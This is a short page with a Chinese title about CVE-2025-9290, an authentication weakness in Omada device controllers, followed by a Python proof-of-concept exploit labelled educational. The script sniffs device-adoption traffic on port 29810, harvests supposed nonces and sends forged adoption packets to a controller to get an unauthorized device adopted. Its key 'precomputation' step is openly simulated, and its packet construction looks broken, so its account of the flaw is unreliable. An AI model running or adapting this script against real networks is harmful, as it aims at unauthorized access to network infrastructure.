CVE-2025-9290: Omada设备控制器认证弱点导致敏感信息泄露

# CVE-2025-9290 PoC - Omada Authentication Bypass via Offline Precomputation # Note: This is a conceptual PoC for educational purposes import hashlib import hmac import struct import socket from scapy.all import sniff, sendp, Ether, IP, Raw def capture_adoption_traffic(interface="eth0", count=100): """Capture Omada device adoption traffic""" print(f"[*] Sniffing adoption traffic on {interface}") packets = sniff(iface=interface, count=count, filter="tcp port 29810 or udp port 29810") return packets def extract_random_values(packets): """Extract random nonces from captured packets""" nonces = [] for pkt in packets: if Raw in pkt: payload = bytes(pkt[Raw].load) # Look for nonce patterns in adoption protocol if len(payload) >= 32: nonces.append(payload[:32]) return nonces def precompute_auth_response(device_id, controller_challenge): """Precompute valid authentication response using weak random handling""" # Simulate precomputation based on weak random handling seed = hashlib.sha256(controller_challenge + device_id.encode()).digest() response = hmac.new(seed, controller_challenge, hashlib.sha256).digest() return response def forge_adoption_packet(device_id, forged_response): """Forge valid adoption authentication packet""" # Construct forged packet with precomputed response pkt = Ether()/IP(src="192.168.1.100", dst="192.168.1.1")/Raw() pkt[Raw].load = forged_response + device_id.encode() return pkt def exploit_adoption(interface="eth0", target_controller="192.168.1.1"): """Main exploitation function""" print("[*] Starting CVE-2025-9290 exploitation...") # Step 1: Capture adoption traffic packets = capture_adoption_traffic(interface) # Step 2: Extract nonces nonces = extract_random_values(packets) if not nonces: print("[!] No adoption traffic captured") return False # Step 3: Precompute authentication responses device_id = "00:11:22:33:44:55" for nonce in nonces: forged_response = precompute_auth_response(device_id, nonce) # Step 4: Send forged adoption packet forged_pkt = forge_adoption_packet(device_id, forged_response) sendp(forged_pkt, iface=interface, verbose=0) print(f"[+] Sent forged adoption packet with response: {forged_response.hex()}") print("[+] Exploitation complete - check for unauthorized device adoption") return True if __name__ == "__main__": # Usage: python cve_2025_9290_poc.py exploit_adoption()